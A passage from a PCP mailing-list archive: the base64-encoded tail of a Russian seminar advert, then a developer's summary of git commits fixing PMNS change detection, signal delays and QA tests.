vdC10YEg0YbQtdC90YLRgCAmcXVvdDvQktC40LrRgtC+0YDQuNGPINCf0LvQsNC30LAmcXVvdDsu PC9mb250PjwvcD48cCBhbGlnbj0ibGVmdCI+PGZvbnQgZmFjZT0iQ2FtYnJpYSI+PGI+0JLRgdGP INC40L3RgtC10YDQtdGB0YPRjtGJ0LDRjyDQktCw0YEg0LjQvdGE0L7RgNC80LDRhtC40Y8g0Lgg 0YDQtdCz0LjRgdGC0YDQsNGG0LjRjyDQv9C+INGC0LXQuy46wqA8L2I+PGJyPjxmb250IHNpemU9 IjQiPjg8L2ZvbnQ+PGZvbnQgc2l6ZT0iMiI+wqDQutC+0LQg0LPQvtGA0L7QtNCwwqA8L2ZvbnQ+ PGZvbnQgc2l6ZT0iNCI+KDQ5NSk8L2ZvbnQ+PGZvbnQgc2l6ZT0iMiI+wqDRgi7CoMKgPC9mb250 PjxzcGFuIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOnJnYigyMDQsMjU1LDIwNCkiPjxmb250IHNp emU9IjQiPjk2MS0wMC0zODwvZm9udD48L3NwYW4+PGZvbnQgc2l6ZT0iMiI+wqAo0LzQvdC+0LPQ vtC60LDQvdCw0LvRjNC90YvQuSk8L2ZvbnQ+PGJyPjxicj48Zm9udCBzaXplPSIyIj7QktGLINC8 0L7QttC10YLQtSDRg9GH0LDRgdGC0LLQvtCy0LDRgtGMINCyINC+0LHRg9GH0LXQvdC40Lgg0LrQ sNC6INC+0YIg0LrQvtC80L/QsNC90LjQuCwg0YLQsNC6INC4INC60LDQuiDRh9Cw0YHRgtC90L7Q tSDQu9C40YbQvi48YnI+KNC/0L7QttCw0LvRg9C50YHRgtCwINC90LUg0L7RgtCy0LXRh9Cw0LnR gtC1INC90LAg0L7QsdGA0LDRgtC90YvQuSDQsNC00YDQtdGBINGN0Lsu0L/QvtGH0YLRiyk8L2Zv bnQ+PC9mb250PjwvcD48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSI+PHRib2R5Pjx0cj48 dGQgYmdjb2xvcj0iI0ZGRkZDQyI+wqA8L3RkPjwvdHI+PHRyPjx0ZD48Zm9udCBmYWNlPSJDYW1i cmlhIj48Yj7QptC10LvQtdCy0LDRjyDQsNGD0LTQuNGC0L7RgNC40Y86PC9iPjxicj7RgNGD0LrQ vtCy0L7QtNC40YLQtdC70LXQuSDQuCDRgdC/0LXRhtC40LDQu9C40YHRgtC+0LIsINC+0YLQstC1 0YfQsNGO0YnQuNGFINC30LAg0L7RgNCz0LDQvdC40LfQsNGG0LjQvtC90L3QvtC1INGA0LDQt9Cy 0LjRgtC40LUsINGA0YPQutC+0LLQvtC00LjRgtC10LvQtdC5INC4PGJyPtGB0L/QtdGG0LjQsNC7 0LjRgdGC0L7QsiDQsiDQvtCx0LvQsNGB0YLQuCDRg9C/0YDQsNCy0LvQtdC90LjRjyDQv9C10YDR gdC+0L3QsNC70L7QvCwg0YDRg9C60L7QstC+0LTQuNGC0LXQu9C10Lkg0LrQvtC80L/QsNC90LjQ uSDQuCDRgdC+0LHRgdGC0LLQtdC90L3QuNC60L7Qsjxicj7QsdC40LfQvdC10YHQsC48YnI+PGJy PjxiPtCm0LXQu9GMOsKgPC9iPjxicj4tINC+0YHQstC+0LjRgtGMINC80LXRgtC+0LTRiyDQuCDQ uNC90YHRgtGA0YPQvNC10L3RgtGLINGD0L/RgNCw0LLQu9C10L3QuNGPINC/0L4g0YDQtdC30YPQ u9GM0YLQsNGC0LDQvCw8YnI+LSDQv9C+0LvRg9GH0LjRgtGMINCz0L7RgtC+0LLRi9C1INC90LDR gNCw0LHQvtGC0LrQuCDQuCDRgNC10YjQtdC90LjRjyDQuNC3INC/0YDQsNC60YLQuNC60Lgg0YDQ vtGB0YHQuNC50YHQutC40YUg0Lgg0LfQsNC/0LDQtNC90YvRhSDQutC+0LzQv9Cw0L3QuNC5LMKg PGJyPi0g0YPQt9C90LDRgtGMINCw0LvQs9C+0YDQuNGC0Lwg0YDQsNC30YDQsNCx0L7RgtC60Lgg 0YHQsdCw0LvQsNC90YHQuNGA0L7QstCw0L3QvdC+0Lkg0YHQuNGB0YLQtdC80Ysg0L/QvtC60LDQ t9Cw0YLQtdC70LXQuSAo0KHQodCfKSw8YnI+LSDQvtGC0YDQsNCx0L7RgtCw0YLRjCDQvdCw0LLR i9C6INC40L3RgtC10LPRgNCw0YbQuNC4INGB0YLRgNCw0YLQtdCz0LjRh9C10YHQutC40YUg0YbQ tdC70LXQuSDQuCDQv9C+0LrQsNC30LDRgtC10LvQtdC5INGA0LXQt9GD0LvRjNGC0LDRgtC40LLQ vdC+0YHRgtC4LDxicj4tINC/0L7Qu9GD0YfQuNGC0Ywg0L/RgNCw0LrRgtC40YfQtdGB0LrQuNC1 INC40L3RgdGC0YDRg9C80LXQvdGC0Ysg0LTQtdC60L7QvNC/0L7Qt9C40YbQuNC4INGG0LXQu9C1 0Lkg0Lgg0L/QvtC60LDQt9Cw0YLQtdC70LXQuSw8YnI+LSDQvtGB0LLQvtC40YLRjCDQvNC10YXQ sNC90LjQt9C8INC/0YDQuNCy0Y/Qt9C60Lgg0L/RgNC10LzQuNC4INC6INCy0YvQv9C+0LvQvdC1 0L3QuNGOINGG0LXQu9C10LksPGJyPi0g0YPQt9C90LDRgtGMINC/0YDQsNC60YLQuNGH0LXRgdC6 0LjQtSDQv9C+0LTRhdC+0LTRiyDQuiDQstC90LXQtNGA0LXQvdC40Y4g0YHQuNGB0YLQtdC80Ysg 0YPQv9GA0LDQstC70LXQvdC40Y8g0L/QviDRgNC10LfRg9C70YzRgtCw0YLQsNC8INC90LAg0L7R gdC90L7QstC1PGJyPtCh0KHQny48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgYmdjb2xvcj0iI0ZG RkZDQyI+wqA8L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjxwPjxmb250IGZhY2U9IkNhbWJyaWEi IHNpemU9IjQiIGNvbG9yPSIjOTkwMDMzIj7QmtGA0LDRgtC60LDRjyDQv9GA0L7Qs9GA0LDQvNC8 0LA6PC9mb250PjwvcD48cCBhbGlnbj0ibGVmdCI+PGZvbnQgZmFjZT0iQ2FtYnJpYSI+PGI+MS4g 0J/QvtGB0YLQsNC90L7QstC60LAg0LrQu9GO0YfQtdCy0YvRhSDQv9C+0LrQsNC30LDRgtC10LvQ tdC5INGN0YTRhNC10LrRgtC40LLQvdC+0YHRgtC4IChLUEkpOjwvYj48YnI+LSDQotC10YXQvdC+ 0LvQvtCz0LjRjyDQstGL0LHQvtGA0LAg0L/QvtC60LDQt9Cw0YLQtdC70LXQuSDQuCDRg9GB0YLQ sNC90L7QstC70LXQvdC40LUg0LLQtdGB0L7QsiBLUEkuPGJyPi0g0KPRgNC+0LLQvdC4INC00L7R gdGC0LjQttC10L3QuNGPIEtQSS48YnI+LSDQoNCw0LfRgNCw0LHQvtGC0LrQsCDQutCw0YDRgtGL IEtQSS48YnI+LSDQn9GA0LjQvNC10YDRiyDQutCw0YDRgiDQv9C+0LrQsNC30LDRgtC10LvQtdC5 INC00LvRjyDRgNCw0LfQu9C40YfQvdGL0YUg0L/QvtC00YDQsNC30LTQtdC70LXQvdC40Lkg0Lgg 0LTQvtC70LbQvdC+0YHRgtC10LkuPGJyPi0g0J/RgNC40LHQvtGA0L3Ri9C1INC/0LDQvdC10LvQ uCDQtNC70Y8g0LzQvtC90LjRgtC+0YDQuNC90LPQsCDQv9C+0LrQsNC30LDRgtC10LvQtdC5IChk YXNoYm9hcmRzKS48L2ZvbnQ+PC9wPjxwIGFsaWduPSJsZWZ0Ij48Zm9udCBmYWNlPSJDYW1icmlh Ij48Yj4yLiDQn9GA0LXQvNC40YDQvtCy0LDQvdC40LUg0L3QsCDQvtGB0L3QvtCy0LUgS1BJOjwv Yj48YnI+LSDQn9GA0LjQstGP0LfQutCwINC/0YDQtdC80LjQuCDQuiBLUEk6INGD0YDQvtCy0L3Q uCDQuCDRgNC10LrQvtC80LXQvdC00YPQtdC80YvQuSDQv9GA0L7RhtC10L3RgiDQv9GA0LXQvNC4 0LgsINGF0LDRgNCw0LrRgtC10YAg0LfQsNCy0LjRgdC40LzQvtGB0YLQuMKgPGJyPtC/0YDQtdC8 0LjQuCDQvtGCINC/0L7QutCw0LfQsNGC0LXQu9GPLjxicj4tINCS0YvQsdC+0YAg0L/QtdGA0LjQ vtC00LjRh9C90L7RgdGC0Lgg0L/RgNC10LzQuNGA0L7QstCw0L3QuNGPLjxicj4tINCf0YDQuNC8 0LXRgNGLINC/0YDQtdC80LjQsNC70YzQvdGL0YUg0L/Qu9Cw0L3QvtCyINC90LAg0L7RgdC90L7Q stC1IEtQSS48YnI+LSDQoNCw0YHRh9C10YIg0Lgg0L/Qu9Cw0L3QuNGA0L7QstCw0L3QuNC1INGE 0L7QvdC00LAg0L/RgNC10LzQuNGA0L7QstCw0L3QuNGPLjwvZm9udD48L3A+PHAgYWxpZ249Imxl ZnQiPjxmb250IGZhY2U9IkNhbWJyaWEiPjxiPjMuINCg0LDQt9GA0LDQsdC+0YLQutCwINGB0LHQ sNC70LDQvdGB0LjRgNC+0LLQsNC90L3QvtC5INGB0LjRgdGC0LXQvNGLINC/0L7QutCw0LfQsNGC 0LXQu9C10LkgKEJTQyk6PC9iPjxicj4tINCY0YHRgtC+0YDQuNGPINC4INC/0YDQuNC90YbQuNC/ 0Ysg0YDQsNCx0L7RgtGLIEJTQy48YnI+LSDQkNC70LPQvtGA0LjRgtC8INGB0L7Qt9C00LDQvdC4 0Y8g0YHRgtGA0LDRgtC10LPQuNGH0LXRgdC60L7QuSDQutCw0YDRgtGLLjxicj4tINCh0YbQtdC9 0LDRgNC40Lkg0YHRgtGA0LDRgtC10LPQuNGH0LXRgdC60L7QuSDRgdC10YHRgdC40Lgg0L/QviDR gNCw0LfRgNCw0LHQvtGC0LrQtSBCU0MuPGJyPi0g0J/RgNC40LzQtdGA0YsgQlNDINC00LvRjyDR gNCw0LfQu9C40YfQvdGL0YUg0L7RgtGA0LDRgdC70LXQuSDQuCDRhNGD0L3QutGG0LjQvtC90LDQ u9GM0L3Ri9GFINC/0L7QtNGA0LDQt9C00LXQu9C10L3QuNC5LjwvZm9udD48L3A+PHAgYWxpZ249 ImxlZnQiPjxmb250IGZhY2U9IkNhbWJyaWEiPjxiPjQuINCU0LXQutC+0LzQv9C+0LfQuNGG0LjR jyDRgdGC0YDQsNGC0LXQs9C40YfQtdGB0LrQuNGFINGG0LXQu9C10Lkg0L7RgNCz0LDQvdC40LfQ sNGG0LjQuDo8L2I+PGJyPi0g0J7RgdC90L7QstGLINGG0LXQu9C10LLQvtCz0L4g0YPQv9GA0LDQ stC70LXQvdC40Y8gKE1CTykuPGJyPi0g0JTQtdGA0LXQstC+INGG0LXQu9C10Lkg0LrQvtC80L/Q sNC90LjQuC48YnI+LSDQn9GA0LjQvdGG0LjQv9GLINC00LXQutC+0LzQv9C+0LfQuNGG0LjQuCDR htC10LvQtdC5Ljxicj4tINCX0LDQutGA0LXQv9C70LXQvdC40LUg0YbQtdC70LXQuSDQt9CwINGE 0YPQvdC60YbQuNGP0LzQuCDQuCDQuNGB0L/QvtC70L3QuNGC0LXQu9GP0LzQuCwg0LzQsNGC0YDQ uNGG0LAg0YbQtdC70LXQuS48YnI+LSDQoNCw0LfRgNCw0LHQvtGC0LrQsCDQvNC10YDQvtC/0YDQ uNGP0YLQuNC5INC/0L4g0LTQvtGB0YLQuNC20LXQvdC40Y4g0YbQtdC70LXQuSDQuCDQv9C70LDQ vdCwINC00LXQudGB0YLQstC40LkuPC9mb250PjwvcD48cCBhbGlnbj0ibGVmdCI+PGZvbnQgZmFj ZT0iQ2FtYnJpYSI+PGI+NS4g0KDQtdC60L7QvNC10L3QtNCw0YbQuNC4INC/0L4g0LLQvdC10LTR gNC10L3QuNGOLjwvYj48YnI+LSDQn9C+0LTQstC+0LTQvdGL0LUg0LrQsNC80L3QuCDQv9GA0Lgg 0LLQvdC10LTRgNC10L3QuNC4INGB0LjRgdGC0LXQvNGLINGD0L/RgNCw0LLQu9C10L3QuNGPINGN 0YTRhNC10LrRgtC40LLQvdC+0YHRgtGM0Y4uPGJyPi0g0JLQvdGD0YLRgNC10L3QvdC40LUg0LrQ vtC80LzRg9C90LjQutCw0YbQuNC4INGBINGB0L7RgtGA0YPQtNC90LjQutCw0LzQuC48YnI+LSDQ m9GD0YfRiNC40LUg0L/RgNCw0LrRgtC40LrQuCDQstC90LXQtNGA0LXQvdC40Y8uPC9mb250Pjwv cD48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSI+PHRib2R5Pjx0cj48dGQgYmdjb2xvcj0i I0NDRkZDQyI+wqA8L3RkPjwvdHI+PHRyPjx0ZD48Zm9udCBmYWNlPSJDYW1icmlhIj48Yj7Qo9GH 0LDRgdGC0LjQtTrCoDwvYj4yMiA4b28g0YDRg9CxLsKgPGJyPtCS0YXQvtC00LjRgiDQvNC10YLQ vtC00LjRh9C10YHQutC40Lkg0LzQsNGC0LXRgNC40LDQuywg0L7QsdC10LTRiywg0LrQvtGE0LUt 0L/QsNGD0LfRiy48YnI+PGZvbnQgY29sb3I9IiNDQzAwMDAiPjxiPtCf0L4g0L7QutC+0L3Rh9Cw 0L3QuNGOINC30LDQvdGP0YLQuNGPINCS0LDQvCDQv9GA0LXQtNC+0YHRgtCw0LLQu9GP0LXRgtGB 0Y8g0YHQtdGA0YLQuNGE0LjQutCw0YIuPC9iPjwvZm9udD48YnI+0JjQvdC+0LPQvtGA0L7QtNC9 0LjQvCDRg9GH0LDRgdGC0L3QuNC60LDQvCDQv9C+0LzQvtCz0LDQtdC8INCyINCx0YDQvtC90LjR gNC+0LLQsNC90LjQuCDQs9C+0YHRgtC40L3QuNGG0YsuPC9mb250PjwvdGQ+PC90cj48dHI+PHRk IGJnY29sb3I9IiNDQ0ZGQ0MiPsKgPC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48L2Rpdj48L3Rk PjwvdHI+PC90Ym9keT48L3RhYmxlPjwvZGl2Pg0K ------------4810B11115F459F5-- From kenj@internode.on.net Fri Oct 28 15:04:32 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DD4DB7CA0 for ; Fri, 28 Oct 2016 15:04:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4E54AAC004 for ; Fri, 28 Oct 2016 13:04:28 -0700 (PDT) X-ASG-Debug-ID: 1477685056-0bf57b1e949241d0001-S8gJnT Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id R318YOhDm2G27zXf for ; Fri, 28 Oct 2016 13:04:17 -0700 (PDT) X-Barracuda-Envelope-From: kenj@internode.on.net X-Barracuda-Effective-Source-IP: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CCGABXrhNYEJ4DLHkNT4NaAQEBAQF3KkgLhnKpdooTIIhbAQIBAQEBAQIGAQEBAQEBAQE3hVGBBQYCJgJFJwYCAQG5PmeNGIEHhzOKI4JbBYhFhgeLTIYti2hOjUiHHoVxhAGBM4UeXodzAQEB Received: from ppp121-44-3-158.lns20.syd4.internode.on.net (HELO [192.168.8.101]) ([121.44.3.158]) by ipmail07.adl2.internode.on.net with ESMTP; 29 Oct 2016 06:34:15 +1030 To: pcp@oss.sgi.com Subject: pcp updates: assorted changes From: Ken McDonell X-ASG-Orig-Subj: pcp updates: assorted changes Message-ID: Date: Sat, 29 Oct 2016 07:04:13 +1100 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.3.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1477685057 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 3746 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.34132 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Changes committed to git://git.pcp.io/kenj/pcp master Ken McDonell (7): src/pmlogrewrite/pmlogrewrite.c: fix small error in temporal index src/libpcp/src/auxconnect.c: fix diagnostic messages Revert "src/pmlogrewrite/pmlogrewrite.c: fix small error in temporal index" src/pmcd/pmdaproc.sh: change default $signal_delay src/libpcp/src/pmns.c: change logic in __pmHasPMNSFileChanged() qa/827: tweak to handle changes in temporal index src/libpcp/src/pmns.c: correct logic in __pmHasPMNSFileChanged() qa/827 | 9 +++- qa/827.out | 13 +++++- qa/admin/pcp-daily | 2 src/libpcp/src/auxconnect.c | 8 +-- src/libpcp/src/check-statics | 1 src/libpcp/src/pmns.c | 85 +++++++++++++++++++++------------------- src/pmcd/pmdaproc.sh | 2 src/pmlogrewrite/pmlogrewrite.c | 8 +-- 8 files changed, 76 insertions(+), 52 deletions(-) Details ... commit ee24830c9834ac02702faf13dd4945ea284114f8 Author: Ken McDonell Date: Sat Oct 29 06:44:56 2016 +1100 src/libpcp/src/pmns.c: correct logic in __pmHasPMNSFileChanged() One of the predicates was rewritten incorrectly in the last change, also rework the diagnostics so the result of __pmHasPMNSFileChanged() is also reported under the control of DBG_TRACE_PMNS. commit ad8f1c13e4c93c9ae5e9af1ba8c7292d24533208 Author: Ken McDonell Date: Fri Oct 28 09:47:17 2016 +1100 qa/827: tweak to handle changes in temporal index After pmlogrewrite, these are now expected. commit 8b39516e1ec4cbf9bf3a1423094141d0ce24350e Author: Ken McDonell Date: Fri Oct 28 08:56:01 2016 +1100 src/libpcp/src/pmns.c: change logic in __pmHasPMNSFileChanged() Changes elsewhere have meant that pmcd reconfiguration step are now significantly quicker (this is good), but this has exposed a latent design error in __pmHasPMNSFileChanged(). The check for "has the pmns changed" is based on stat()ing the root PMNS file and checking the mtime ... unfortunately this has only second resolution on some systems, which was OK when PMDA Install/Remove was slow ... but not now. Improved the logic to check the file size and the mtime. Also needed another static inside the lock guard, so update check-statics accordingly. commit 66d805b8ed9b845559aeb39a2a12a3dc644b4b89 Author: Ken McDonell Date: Fri Oct 28 08:53:41 2016 +1100 src/pmcd/pmdaproc.sh: change default $signal_delay I've found 0.1sec to be unreliable on some QA systems and setting this to 1sec seems to improve the situation dramatically. Given the vaguaries of signal delivery, this is not altogether surprising. commit 540a5b084b640ff1d57f1808663838355665e865 Author: Ken McDonell Date: Tue Oct 25 08:47:23 2016 +1100 Revert "src/pmlogrewrite/pmlogrewrite.c: fix small error in temporal index" This reverts commit d35d7efe161fdfe1d9198a02645d44cfa2f49631. commit 800d6b80562333aa343e0eeb22fbf3d6a1a236b2 Author: Ken McDonell Date: Tue Oct 25 08:39:14 2016 +1100 src/libpcp/src/auxconnect.c: fix diagnostic messages Message contained wrong routine name. commit d35d7efe161fdfe1d9198a02645d44cfa2f49631 Author: Ken McDonell Date: Tue Oct 25 08:37:37 2016 +1100 src/pmlogrewrite/pmlogrewrite.c: fix small error in temporal index Metadata offset arithmetic was not quite right ... Nathan spotted this in qa/827.